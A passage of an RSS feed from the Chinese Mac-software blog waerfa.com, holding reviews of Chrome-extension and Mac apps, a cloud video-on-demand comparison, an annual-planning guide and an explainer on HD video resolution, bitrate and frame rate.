    Extfans:国内最方便的 Chrome 插件下载网站插图

    + +

    Exfans 收录许多国内外知名插件,例如:Tampermonkey油猴脚本管理器,Chrome 清理大师,B站下载助手,Adblock,Adguard 等等。

    + +

    Extfans:国内最方便的 Chrome 插件下载网站插图(1)

    + +

    Exfans 会及时更新插件的版本,除了提供 Chrome Store 的官方插件地址外,用户还可以关注 Extfans(扩展迷)的官方公众号后获取验证码(关注后回复“插件”二字获得验证码)快速获取国内的下载地址,这种方式适合那些不想或者无法登录 Chrome Store 下载插件的朋友使用,具体原因你懂的。

    + +

    Extfans:国内最方便的 Chrome 插件下载网站插图(2)

    + +

    Extfans 站内的驻场插件是一款名为 Infinity 的标签页插件,这是网站运营团队自己的主打产品,Infinity 将用户 Chrome 浏览器的新标签页瞬间打造成一个综合搜索引擎主页,不但可以快速在各个搜索引擎快速搜索不同类型的关键词,还可以自由设定快速跳入目标网站/WEB app的入口 icon,并且 Infinity 本身也带有默认的天气组件(和 macOS 的通知中心很像),壁纸库,ToDo List,备忘录,网页历史记录,书签以及插件管理功能。我们会在下一篇文章详细介绍这款插件。

    +

    本文发表自Mac玩儿法,转载请注明转自《Extfans:国内最方便的 Chrome 插件下载网站

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/extfans/feed + 0 +
    + + Dropover:将文件快速移动的新玩儿法 + https://www.waerfa.com/dropover-review + https://www.waerfa.com/dropover-review#respond + Thu, 16 Jan 2020 15:22:02 +0000 + + + + + https://www.waerfa.com/?p=106548 + + Dropover 是一款能够帮助 Mac 用户临时保存文件的悬浮窗口,只需将文件选中,然后晃动几下就能让 Dropover 悬浮窗口弹出来,然后将文件拖动到里面,这一点很像几年前很火的 Dropshelf,然后你就可以将悬浮框里的文件再拖动到其他位置或者其他 app。

    + +

    向悬浮窗口拖动文件支持拖动多个文件同时存放在一起,或者你也可以将每个文件准备一个单独的窗口。

    + +

    Dropover:将文件快速移动的新玩儿法插图

    + +

    每个悬浮窗口包含的文件都可以快速定位到 Finder 位置,支持 Mail、Messages、Airdrop 三个动作。

    + +

    Dropover:将文件快速移动的新玩儿法插图(1)

    + +

    或者也可以对窗口内的文件进行批量操作,批量操作添加了 Add to Photos,Copy iCloud/Dropbox Link 功能,后者就是支持将文件快速上传到  iCloud/Dropbox,然后自动获取 link。

    + +

    Dropover:将文件快速移动的新玩儿法插图(2)

    + +

    用 Dropover 承载的文件可以在其他位置,直接将文件拖出来放到新的位置。

    + +

    Dropover:将文件快速移动的新玩儿法插图(3)

    + +

    来看看我们的演示 demo:

    + +

    https://www.bilibili.com/video/av83472419

    + +

    Dropover 支持 14 天的试用,之后需要支付 $3.99 的费用解锁继续使用。

    +

    本文发表自Mac玩儿法,转载请注明转自《Dropover:将文件快速移动的新玩儿法

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/dropover-review/feed + 0 +
    + + 字幕组机翻小助手:提高你的字幕翻译效率 + https://www.waerfa.com/tern-subtitle-file-translator-review + https://www.waerfa.com/tern-subtitle-file-translator-review#respond + Tue, 14 Jan 2020 04:01:11 +0000 + + + + + + https://www.waerfa.com/?p=106543 + + 字幕组机翻小助手是一款非常高效的字幕翻译软件,可以一键帮你将外文字幕文件(支持 ass、srt、vtt)转换为目标语言的相同格式文件,适合那些字幕组工作人员,视频翻译者使用;另外这款软件还可以自定义 N 多翻译引擎,比如谷歌翻译,彩云小译,搜狗翻译等等等。

    + +

    字幕组机翻小助手:提高你的字幕翻译效率插图

    + +

    如何使用?

    + +

    软件需要先设置翻译服务商,才能开始翻译

    + +
      +
    1. 进入”设置”。配置一家服务商(谷歌,彩云小译等任意一家)
    2. +
    3. 拖入字幕文件 (后缀 .srt .ass .vtt)
    4. +
    5. 选 “源语言” (如英文) “目标语言”(如中文)
    6. +
    7. 『开始翻译』
    8. +
    + +

    如何设置翻译服务商

    + +

    每一个翻译服务商都需要提前在设置窗口内将引擎的 API key 填写完整后才能开始正常使用。

    + +

    字幕组机翻小助手:提高你的字幕翻译效率插图(1)

    + +

    以 Google 翻译为例,到 Google Cloud Platform (前提是激活 GCP,目前谷歌为 GCP 新用户提供 300 美金的体验券,领取后激活账号才能使用 GCP)的凭据里选择创建凭据,选择 API 密钥。

    + +

    字幕组机翻小助手:提高你的字幕翻译效率插图(2)

    + +

    创建 API 密钥,将密钥 copy 到字幕组机翻小助手的设置页面里即可开始使用,其他翻译服务商的 API key 创建办法与谷歌的大同小异,官方有 doc 参考文档

    + +

    字幕组机翻小助手:提高你的字幕翻译效率插图(3)

    + +

    这款软件有免费版可以体验,默认有每月100万文字的翻译数量额度,付费版目前为 $19,终身 license,输入优惠码 earlybird 即可获得 $9 的优惠价格。

    +

    本文发表自Mac玩儿法,转载请注明转自《字幕组机翻小助手:提高你的字幕翻译效率

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/tern-subtitle-file-translator-review/feed + 0 +
    + + 2020 已经悄悄过去一周,你的年度计划制定好了吗? + https://www.waerfa.com/berklist-annual-plan + https://www.waerfa.com/berklist-annual-plan#respond + Tue, 07 Jan 2020 04:43:45 +0000 + + + + + https://www.waerfa.com/?p=106530 + + 2020 已经悄悄过去一周,你的年度计划制定好了吗?插图

    + +

    2020年已经悄咪咪过去一周啦,你的年度计划制定好了吗?

    + +

    是不是心里默默腹诽:制定了计划也不一定能实现啊!!毕竟我既不自律,还懒,又爱氪金开黑。别介,其实大多数人都一样,我们都是普通人,会懒惰不自律喜欢拖延,那我们和那些高效能人士的主要区别到底是什么呢?

    + +

    一个最大的区别就是:他们能清晰坚决的处理好自己的主要目标。而这个主要目标就是我们制定年度计划的所在。

    + +

    那么,问题来了,年度计划要怎么做才能找到自己的主要目标,实现积极废人向高效能人士的转变。

    + +

    你的梦想相册

    + +

    在做年度计划之前,你可以先把2019总结给整一下。写下自己最有成就感的3件事情,并贴上相关照片,然后写一些具体的总结,比如考取了什么证书,看了多少本书,坚持背单词多少天等等,要的就是具体。你可以把具体的内容写在备注里。

    + +

    2020 已经悄悄过去一周,你的年度计划制定好了吗?插图(1)

    + +

    接下来开始年度计划。不知道你有没有接触过GTD的概念。在GTD中,首要的任务就是清空大脑,收集自己要完成的事项。做年度计划也可以采取这样的逻辑。

    + +

    写下你关于生活、工作、学习、家庭等等各个方面中最重要的最想实现的3个目标。你可以创建多个项目来分别管理,也可以在一个项目里用标签进行区别。

    + +
    2020 已经悄悄过去一周,你的年度计划制定好了吗?插图(2)
    用项目来管理
    + +
    2020 已经悄悄过去一周,你的年度计划制定好了吗?插图(3)
    用标签来管理
    + +
    2020 已经悄悄过去一周,你的年度计划制定好了吗?插图(4)
    设定梦想目标
    + +

    只要3个就够了。多了,我们反而不知道要专注于什么,求质不求量。

    + +

    用相关的图片来设置目标,就好像你的梦想相册一样,每一次看到这张图,你心里对目标的渴望会更强烈,实现目标的可能性也会增加。

    + +

    空雨伞模型

    + +

    有了计划还不够,更重要的是执行计划去实现它。很多人设定目标就是一句简单的“我要多阅读”“我要减肥”,然后?就没有然后了。

    + +

    用「空雨伞」模型来帮助自己实现目标吧。

    + +

    「空雨伞」模型来自麦肯锡,「空」表示你现在的情况,「雨」是未来要达成的目标,「伞」就是你的处理方法了。比如你要去法国旅游,现在的情况是有多少多少钱可用于旅游,预期在某段时间可以请年假,打算和xx去。那你在了解过一些信心以后了解到在法国玩至少需要花费xxx钱,大概需要几天,那你的目标就是要存钱并且协调好工作学习安排,凑出旅游需要的时间。

    + +

    为了达到这个目标,你可以每个月存多少钱,或者开展副业增加收入,朋友有没有时间也需要提前准备PLANB,要提前处理好工作安排时间。

    + +

    这些具体的内容都可以写在备注里。有没有发现这其实就是目标拆分。把目标拆分为「现在」「未来」「执行」三大块,用清晰的逻辑来引导自己一步步实现目标。

    + +

    2020 已经悄悄过去一周,你的年度计划制定好了吗?插图(5)

    + +

    在「执行」这一块,你还可以进行更加具体的拆分。你需要做哪些事不代表你做了哪些事。所以一定要进行时间安排。

    + +

    安排时间

    + +

    比如你打算做兼职,一周需要一次,暂时为周六。那就在「执行」里添加多个子任务(复制粘贴批量创建多个任务),给任务设定执行时间。比如你打算减肥,计划每周至少3次锻炼,那就设定好3天的时间提醒自己运动。比如你打算今年一周看一本书,就可以把每本书都设定好开始时间和结束时间来提醒自己完成它。

    + +

    2020 已经悄悄过去一周,你的年度计划制定好了吗?插图(6)

    + +

    2020 已经悄悄过去一周,你的年度计划制定好了吗?插图(7)

    + +

    安排好时间以后,你只需要在日历里就可以知道具体哪一天需要做哪些事情了。再提醒一句,一天不要做3件以上事情。

    + +

    2020 已经悄悄过去一周,你的年度计划制定好了吗?插图(8)

    + +

    新年快乐

    + +

    年度计划制定到这里,你肯定已经学会大概的思路了。你可以用这一思路做更加细致的季度计划、周计划等等。当然了,最重要的是执行。所以为了你能顺利执行,每天要做的事情不要超过3件。新的一年,加油吧。

    +

    本文发表自Mac玩儿法,转载请注明转自《2020 已经悄悄过去一周,你的年度计划制定好了吗?

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/berklist-annual-plan/feed + 0 +
    + + 视频云点播产品横评:阿里云vs保利威vs七牛云 + https://www.waerfa.com/video-cloud-storage-vod-cross-review + https://www.waerfa.com/video-cloud-storage-vod-cross-review#respond + Mon, 06 Jan 2020 02:56:19 +0000 + + + + + + https://www.waerfa.com/?p=106509 + + 视频云点播产品横评:阿里云vs保利威vs七牛云插图

    + +

    随着国内云计算产业发展壮大与家庭宽带、4G/5G网速的逐渐提高、费用的降低,互联网内容的载体主流早已不再是文字、图片,视频与直播也占据了半壁江山,基于云计算的 B2B、B2C 各类应用服务犹如雨后春笋一样出现,像以爱奇艺为代表的影视剧观看、抖音系应用为代表的短视频、以 bilibili 为代表的vlog平台这些都是目前流量汇集的一级平台,今天我们要和大家聊的就是服务于这些视频巨头背后的功臣,专注于企业视频存储、同步、播放(点播)、直播服务的厂牌,今天先聊聊点播里的种子选手:阿里云、保利威以及七牛云。

    + +
    视频云点播产品横评:阿里云vs保利威vs七牛云插图(1)
    阿里云点播云
    + +
    视频云点播产品横评:阿里云vs保利威vs七牛云插图(2)
    保利威点播云
    + +
    视频云点播产品横评:阿里云vs保利威vs七牛云插图(3)
    七牛云点播云
    + +

     

    + +

    我们这次从“基础功能、运营支撑、性能测试、安全设计、开发兼容性、价格差异”六个角度对这三个产品进行比较和介绍,希望各位看后可以更深的了解视频点播服务产品,并且找到适合自家产品的视频点播服务。

    + +

    一、基础功能:上传与发布、视频管理、播放器设置

    + +

    一个视频引擎级的产品最先考验的就是它的基础服务功能,包含了视频的上传与发布,视频的管理以及播放器的个性化设置,从对非技术人员的友好程度上讲,保利威>阿里云>七牛云,保利威在上传部分提供了丰富的可选方式,比如 web 网页手工上传、wordpress/discuz 端的插件上传、客户端上传(可上传大于5GB的视频),阿里云则只在 web 端提供了手工上传,URL视频拉取,而七牛云则可以通过 Web 界面、API、SDK 来实现视频的上传与管理。

    + +

    视频云点播产品横评:阿里云vs保利威vs七牛云插图(4)

    + +

    保利威、阿里云、七牛云均提供了转码、剪辑、下载、水印、回调、内嵌播放器代码(Flash+HTML5+Javascipt)等功能,阿里云更擅长于视频封面静态图、动态图的设定,并且设计了详尽的封面图设置与工作流管理,用户不需要在本地端对视频进行过多处理,放在阿里云做好转码、封面图的模板设置后,使用工作流即可实现自动化,帮助企业减轻了一定量的研发成本。而保利威则擅长在播放器上下功夫,除了太个性化的设计外,基本可满足用户对于播放器画面尺寸、自选皮肤、广告嵌入、视频打点、播放菜单、社交分享、画质切换等功能,同时还提供了另外两家没有的子视频插入、问答题/听力/课件的插入服务。七牛云则比较擅长从物联网、手机(app)等设备采集并上传视频,并可以很高效的实现内容分发、多线路冗余剔除,而且值得一提的是七牛云提供的 AI 功能可以实现鉴黄、鉴政、鉴恐、鉴暴、以图搜图、人脸识别、场景物品识别、分类等功能。

    + +

    视频云点播产品横评:阿里云vs保利威vs七牛云插图(5)

    + +

    从支持资源能力看,阿里云除了能上传视频,还支持音频、图片、短视频素材打包文件的上传,结合阿里云擅长的云资源OSS存储服务,用户在上传资源的时候可以选择不同的 bucket,做域名设置,这些则是保利威则没有的,七牛云倒是支持上述这些功能。

    + +

    二、运营支撑:广告投放、数据统计

    + +

    在运营支撑上,只有保利威提供了全站级别的广告插入功能,阿里云可以做,不过只能用剪辑形式做一对一的编辑,效率太低;保利威的广告投放支持在片头片尾、暂停时插入,也支持弹窗插入,广告的格式可以是 JPEG,GIF,PNG,FLV, MP4,SWF,还是比较丰富的,大小不能超过 500MB。七牛云则提供了云端视频鉴黄鉴政处理,实现对内容的自动化控制与发布。

    + +

    视频云点播产品横评:阿里云vs保利威vs七牛云插图(6)

    + +

    在数据统计上,三家都有提供,保利威可以给用户展示账号的视频存储空间、流量使用情况,视频的实时播放数据,播放量、播放流量、播放量排行、播放时长、观看比例、观看热点、播放域名统计、时段统计,以及观众观看的数量统计、地理位置与终端统计。另外比较特别的一点是,有一个视频高级数据分析功能,可以通过视频热力图分析每个视频,每个观众的数据与行为。

    + +

    视频云点播产品横评:阿里云vs保利威vs七牛云插图(7)

    + +

    阿里云提供的数据范围与保利威不同的是提供了指定域名下的 PV/UV,运营商、域名排名、热门引导数据统计,并且在实时监控上给出了回源流量统计、质量监控等参数,比较侧重于视频资源的有效监控,而没有讲业务延伸到用户侧,而保利威则提供了针对全部/单视频的实时数据,比如观众 IP、所在地区、城市、观看时长、消耗流量、终端、操作系统、浏览器这些宝贵的用户信息。

    + +

    视频云点播产品横评:阿里云vs保利威vs七牛云插图(8)

    + +

    七牛云提供了服务质量(用户位置,码率分布)、用户行为、用户画像分析等数据统计功能,用户可由实时日志对全量数据实现查询、告警、重点监控错误恢复情况等功能。

    + +

    三、性能测试(视频上传)

    + +

    我们找来一部2GB的视频文件进行上传速度测试,环境是联通宽带:下行 500M 带宽,上传速度理论值最大30M,测试成绩如下:阿里云上传 8 分 25 秒(阿里云OSS华东节点),保利威上传 11 分 29 秒,七牛云上传时间则是 12 分12 秒。

    + +

    四、安全设计

    + +

    在视频安全保护上,三家都有侧重点。

    + +

    阿里云侧重于从源头抓手,对视频资源进行加密,通过加密转码 + 解密播放两步对视频进行处理,即使盗版方将资源下载到本地,视频本身也是被加密的,无法恶意二次分发。视频加密可有效防止视频泄露和盗链问题,广泛用于在线教育、财经金融、行业培训、独播剧等在线版权视频领域。

    + +

    视频云点播产品横评:阿里云vs保利威vs七牛云插图(9)

    + +

    保利威则专注于用户端的安全管控,并为自己的产品功能命名为 PlaySafe,在用户播放视频时,播放器本身就是被加密的,可以覆盖嵌入到的各个平台上,嵌入到 Web 网页、各种 App 以及微信小程序的视频都可以被加密,最最让我喜欢的功能就是防录屏功能,只要在播放时系统会自动检测屏幕是否有录屏行为,如果监测到就会自动停止播放并向对方发出提醒。

    + +

    视频云点播产品横评:阿里云vs保利威vs七牛云插图(10)

    + +

    其他安全保护措施还有:黑白名单、ID跑马灯、全网盗版监测(快速下架市面盗版视频)

    + +

    而七牛云在云端的视频版权保护及加密上提供了HLS-DRM加密、MP4-DRM这两种保护方式,在设备端则提供设备级密钥保护,IoT视频云平台为每个设备提供了一组密钥(DAK、DSK),设备集成时将其烧录,当设备与平台建立连接时,平台对其携带的设备鉴权信息进行认证。认证通过,平台激活设备,设备与平台间才可传输数据。保证了数据上传的安全性。

    + +

    五、开发兼容性

    + +

    在 API & SDK 方面,三家都提供了较为完善的API 调用和应用包资源。阿里云除了能实现基础功能应用(上传、播放、回调等),还提供了趣视频源码下载 (iOS / Android / AppSever),长视频源码下载、客户端SDK下载、Web端SDK下载、服务端SDK下载。

    + +

    保利威则结合视频的应用场景给予开发者更多的便利,它们所配备的接口、demo与SDK更方便使用,另外保利威还提供了基于播放器的各类事件,可以通过页面控制播放器与获取当前状态(如暂停、播放、控制缓冲长度、获取已播放时间)。SDK 资源包含:Android、iOS、C#、服务器端(Java/PHP)、DEDECms、Discuz、Wordpress、PHPWind、API Cloud、React Native、微信小程序、Web 上传 SDK 等等。

    + +

    七牛云的 API 主要应用于物联网视频获取设备的 API 接口调用,SDK 方面则分设备端(iOS/Android/Web)与服务器端(云端)两种,设备端 SDK,也就是 Qnlink Upload SDK 主要提供 MPEG2-TS 封装,可以将视频源(支持 H.264,H.265 格式)和音频源(支持 AAC,G.711A,G.711U 格式)产生的数据封装为 MPEG2-TS 格式,而 MPEG2-TS 上传则是将封装后的 MPEG2-TS 文件上传到七牛 IoT 视频云平台,七牛这种 SDK 只支持搭载 Linux 系统的设备端,并且需配备 H.264 或 H.265 编码的视频处理芯片。

    + +

    六、价格差异

    + +

    阿里云点播服务按照两个方面进行收费,一个是加速服务按流量收费(可切换为带宽峰值收费),另一个是媒资服务按存储空间+转码时长付费,另外还可以购买资源包,资源包中有流量包,以加速区域选择中国大陆地区为例,100GB 的流量,有效期一年价格是 18 元起,然后按照 500GB/1TB/5TB/10TB/50TB/200TB/1PB递增,其他流量包有存储包、转码时长包、审核时长包同理。

    + +

    保利威点播服务计算是按照流量+空间+功能的计费方式,按年购买套餐;流量需要0.4元/GB,单价上比阿里云要贵,但是没有涉及到缴纳加速以及转码的费用。

    + +

    而七牛云点播的定价并没有设立独立模块,里面涉及的功能分布在七牛云整个云服务的价格体系里,像对象存储下分不同区域的空间存储、流量的价格之分,CDN 分国内/国外之分,而涉及到主体点播的价格体系则是以“20元/每月”的多媒体处理服务为基础起步,分音视频转码、图片鉴黄鉴恐等 AI 服务进行收费。具体可以看官网。

    + +

    总结

    + +

    总的来看,阿里云视频点播服务定位于 IAAS 服务,他们利用自己的优势资源,也就是服务器、存储、硬件等来帮助企业用户进行部署开发,一些比较注重企业数据安全的大公司会选择阿里云的存储资源去自定义开发自己的视频播放功能,同理,七牛云这种 PAAS 也是提供了丰富成熟的云主机、云存储、负载均衡,带宽储备等现成的资源供用户直接将系统架设上去,在满足基础的视频上传、播放等功能与支持流媒体软件外外,更多的需要自主研发才行 ,也是给那些具有一定研发能力的客户使用,这两个厂家比较侧重于企业级方案的解决;而保利威点播则不同,他们也有丰富的 API 和 SDK 资源,也有帮用户把 pc 端的功能做好,用户拎包入住即可,这是真正的 SAAS 服务,即使你的公司团队没有研发人员也可以照常使用视频处理服务。

    +

    本文发表自Mac玩儿法,转载请注明转自《视频云点播产品横评:阿里云vs保利威vs七牛云

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/video-cloud-storage-vod-cross-review/feed + 0 +
    + + Bob:免费开源的 Mac 翻译小能手 + https://www.waerfa.com/bob-review + https://www.waerfa.com/bob-review#comments + Mon, 06 Jan 2020 01:35:35 +0000 + + + + + + + https://www.waerfa.com/?p=106501 + + Bob 是一款免费开源的 Mac 翻译软件,支持划词翻译,截图翻译以及基础的输入翻译。首次使用前会提醒用户去获取辅助功能权限与屏幕录制权限

    + +

    划词翻译

    + +

    Bob:免费开源的 Mac 翻译小能手插图

    + +

    选中需要翻译的文本之后,按下划词翻译快捷键即可(默认 ⌥ + D

    + +

    截图翻译

    + +

    Bob:免费开源的 Mac 翻译小能手插图(1)

    + +

    按下截图翻译快捷键(默认 ⌥ + S),截取需要翻译的区域

    + +

    输入翻译

    + +

    Bob:免费开源的 Mac 翻译小能手插图(2)

    + +

    按下输入翻译快捷键(默认 ⌥ + A),输入需要翻译的文本,Enter 键翻译

    + +

    目前 Bob 支持有道翻译、百度翻译和谷歌翻译,Bob 的开发者根据使用体验对这几个翻译源进行了对比总结:

    + +
      +
    1. 百度翻译和谷歌翻译可以识别驼峰形式的句子,形如 “WhatAreYouDoing”。

    2. +
    3. 由于谷歌翻译没有找到合适的 OCR 接口,所以在截图翻译的时候,使用有道的 OCR 接口进行识图,然后再调用谷歌的翻译接口进行翻译。

    4. +
    5. 国内谷歌翻译和谷歌翻译结果完全一样,只是谷歌翻译需科学上网使用,但国内谷歌翻译不需要。

    6. +
    + +

    Bob:免费开源的 Mac 翻译小能手插图(3)

    +

    本文发表自Mac玩儿法,转载请注明转自《Bob:免费开源的 Mac 翻译小能手

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/bob-review/feed + 1 +
    + + 电影要怎么样才能算高清 + https://www.waerfa.com/whats-the-standard-of-hd-movie + https://www.waerfa.com/whats-the-standard-of-hd-movie#respond + Sat, 04 Jan 2020 15:53:38 +0000 + + + + + https://www.waerfa.com/?p=106480 + + 电影要怎么样才能算高清插图

    + +

    当我们在谈论一个电影是不是高清的时候,究竟是在谈论什么?

    + +
    + +

    分辨率

    + +

    分辨率指的是显示的像素有多少,分辨率越高代表影像质量越好,越能表现出更多的细节,文件大小也越大。

    + +

    电影要怎么样才能算高清插图(1)

    + +

    1080i/1080P/4K 是什么鬼

    + +

    如果要讲清楚这几个概念,还要从电视的隔行扫描(interlaced scan)和逐行扫描(Progressive scan)说起。以前的CRT电视机的工作原理是电子束在屏幕上一行行扫描后发光来显示图像的,在信号传输过程中为了节省带宽,分奇数行和偶数行两次扫描。现在的电视虽然都已经是逐行扫描了,但是大部分的电视信号依然是隔行扫描,也就是说每次传输的图像信号只有一半。假设电视的分辨率为1920×1080,则有1080个扫描行,每次传输的图像只占了一半的扫描行。之所以人眼看不出只有半张图片,是因为人眼的视觉暂留帮我们把两个半张图片拼接成了一张完整的图片。

    + +
    电影要怎么样才能算高清插图(2)
    隔行扫描
    + +

    高清电视信号的传输有1080i和720P,之所以没有1080P,还是因为传输带宽的问题。在一些体育比赛直播中,如果用隔行扫描比如1080i进行传输,因为体育比赛的画面基本都在高速移动,两次隔行扫描得到的图像差异过大,在进行拼接的时候已经拼接不上了,所以就出现了重影和错位。体育比赛观看的分辨率推荐720P,虽然在分辨率上做了牺牲,但是每一帧的图像都是完整的,不会影响观看。如果非要给这三个排序的话,我觉得应该是1080P>720P>1080i

    + +
    电影要怎么样才能算高清插图(3)
    高速运动中1080i和720P的区别
    + +

    然后再说4K中的K,K代表着横向像素中大约有多少列,1K就是1024,4K就是4096。所以1920×1080就是1.9K或2K,3840×2160是电视标准的4K,4096×2160也是4K。常说的4K,2K都没有固定的分辨率,只看横向像素。

    + +

    综上,P和i都代表着竖向像素的行数,K代表着横向像素列数。我们所说的高清视频至少要达到1080i才及格。到此,我们可以开始谈谈电影了。

    + +

    VCD与DVD

    + +

    在使用MPEG2标准的DVD大行其道的年代,受限于这种编码技术,DVD的分辨率只有720×480,但是已经比之前VCD的分辨率320×240提高了四倍多,而且VCD非常容易损坏不易保存,相信很多看过VCD的人都经历过关键情节全屏马赛克的情况。所以VCD在国内经历过一段时间的野蛮生长后退出了历史舞台。

    + +

    DVD根据数据内容层的层数又分为了两大类:DVD-5和DVD-9。一部DVD-5的容量只有4.7G左右,DVD-9的容量最多只能有8.5G。DVD-9虽然能容纳更多内容,但是分辨率依然是720×480。很多以前的电影和电视剧看不到画质很好的版本,是因为他们只发行了DVD。

    + +

    蓝光可能不是你想象中的那个

    + +

    很多人可能在国内视频网站上听过这个蓝光这个名字,但其实这是视频网站挂羊头卖狗肉,提供的视频质量也跟真正的蓝光相差甚远。

    + +

    蓝光光碟(Blu-ray Disc)其实是DVD之后的下一代光盘格式,简称蓝光。被叫做这个名字是因为蓝光光碟用的是蓝色激光束进行读写操作。中间有几年的时间还曾经存在另一种叫做HD DVD的光盘格式跟蓝光争夺天下,但是在2008年之后,HD DVD最终败下阵来,蓝光一统天下。

    + +

    容量方面,跟DVD5和DVD9相对应,单面单层的蓝光光碟容量为25G,单面双层的容量为50G。在各大好莱坞电影公司纷纷推出蓝光光碟之后,一部电影的容量最高可以达到40G左右,分辨率达到了1920×1080(1080P),至此,我们才得以看到真正高清的电影。

    + +
    电影要怎么样才能算高清插图(4)
    BD25和BD50
    + +

    由于蓝光光碟的巨大容量,所以不需要使用任何降低图像质量的压缩算法,因此不会损失任何细节,沉浸感也更好,只有沉浸其中,这样才能真正感受到电影的魅力。你不会希望在观影过程中突然冒出个马赛克扰了心情。相信我,体验了高清之后你就再也忍受不了任何枪版或者其他低清晰度的电影了。

    + +
    电影要怎么样才能算高清插图(5)
    《阿甘正传》的蓝光导航菜单
    + +

    但是也正是因为容量过大,没有足够的空间存储,另外多年前的网速如果要拖一部蓝光原盘可能要几天时间,所以需要在保证视频质量的前提下尽量缩小体积。在2008之后国内外出现了很多压制组,他们会对蓝光光碟的内容进行重新编码缩小体积,最常见的编码技术是H264,也叫x264、AVC、MPEG-4。压制完成的视频有1080P和720P,这种小体积高质量的视频也同样适合收藏和观看。我们现在看到的大部分视频都是在蓝光的基础的上进行压制的,各大资源网站提供的最新电影都是搬自国内外这些压制组。

    + +

    下面这两张对比图能看出区别么?(微信对图片有压缩,文章中的对比图可以点击文章底部的阅读原文查看原图)

    + +
    电影要怎么样才能算高清插图(6)
    蓝光源
    + +
    电影要怎么样才能算高清插图(7)
    压制后
    + +

    为什么码率很重要

    + +

    码率的意思是单位时间内传输数据的位数,用kbps表示。基本的算法是:码率(kbps)=文件大小(KB) * 8 / 时间(秒)。假设一部两个小时的BD50蓝光电影的视频容量为35G,则码率为

    + +
    35×1024×1024×8/2/3600=40777kbps=41Mbps
    + +

    如果同一部电影的分辨率相同,码率不一样,也会影响画面的质量。因为码率越高,单位时间内传输的画面信息也就越丰富。

    + +

    谈到码率就不得不谈到流媒体。流媒体是不用下载打开就可以直接观看的服务商。国内的三大视频网站,国外比较知名的Netflix、hulu、Amazon Prime Video和Youtube,都可以算作流媒体。如果国外的这些流媒体都能进入中国,也就没三大视频网站什么事了。

    + +
    电影要怎么样才能算高清插图(8)
    Netflix未提供服务的地区仅剩4个
    + +

    既然都是在线视频,如果要流畅地观看,网络条件就要够好。如果视频体积过大,势必会影响加载的速度。所以流媒体提供商就在视频的码率上做文章,在分辨率一样的情况下,通过压缩视频减小码率,牺牲一点画质从而减小体积,优化视频加载的体验。

    + +

    一部电影在影院下映一段时间后,首先会上线流媒体,然后会发行蓝光原盘。就像前面说的,流媒体中的视频码率相对比较低,所以很多画面细节跟蓝光原盘比还是有差距的。而且流媒体对网络的依赖性很高,流媒体大多会根据当前的网络速度来自动调整播放的分辨率,如果自己的网络在高峰期比较卡顿,那就很影响观影体验了。

    + +

    比如下面这个对比图中,画面主人公的面部蓝光源更加清晰,左边流媒体源的画面中帽子男的衣服褶皱消失了,右边裙子女的面部细节要比左边更丰富一些。

    + +

    电影要怎么样才能算高清插图(9)

    + +

    帧率又是什么

    + +

    帧率指的是每秒显示的帧数。由于人类眼睛的特殊生理结构,如果所看画面的帧率高于每秒约10至12帧的时候,就会认为是连贯的。所以如果将这么多帧的图片放在一秒内播放完成,人眼所感受到的画面就是连续的。

    + +

    从有声电影诞生的1926年到今天,99%的电影依然是24帧。只有霍比特人和李安的两部最新电影进行了更高帧率的尝试,《比利林恩的中场战事》和《双子杀手》都达到了惊人的120帧。帧数如果不高,会导致高速运动的物体看起来不连贯或者重影。帧数越高,再配合上更高的分辨率,人眼看到的电影画面也就越接近真实世界。比如下图60帧版本中火车快速通过的时候还能看到坐在火车里的乘客。

    + +
    电影要怎么样才能算高清插图(10)
    《双子杀手》24帧
    + +
    电影要怎么样才能算高清插图(11)
    《双子杀手》60帧
    + +

    4K时代

    + +

    前面提到过4K,横向像素要达到1024的4倍。之所以要单独拿出来说,是因为4K里面的猫腻太多了。

    + +

    比较常见的3840×2160其实不算真正的4K,因为4K的横向像素要达到4096,这个分辨率被叫做Ultra High Definition,简称UHD,但是电视界经常把这个分辨率标为4K来误导消费者。4096×2160是数字电影的4K标准,但是根据画幅比例的不同又衍生出了很多分辨率,4096×2160的画幅比例是1.90:1,4K的《双子杀手》画幅比例为1.85 : 1,分辨率应为3996 × 2160。观众能在电影院欣赏到的4K电影少之又少,我只在今年《双子杀手》上映的时候去CINITY影院体验到了4K120帧,所以大家现在对分辨率是UHD还是4K也就没那么在意了,都统统称为4K。

    + +

    在2015年之后,蓝光原盘开始支持4K高清内容,新标准称为Ultra HD Blu-ray,新规格的碟片有双层66GB和三层100GB两种。4K蓝光原盘影片的压制采用H.265/HEVC高效率编码格式,能达到H.264两倍的压缩率, 分辨率为3840 x 2160,帧率最高能达到60FPS。

    + +
    电影要怎么样才能算高清插图(12)
    1080P VS UHD
    + +

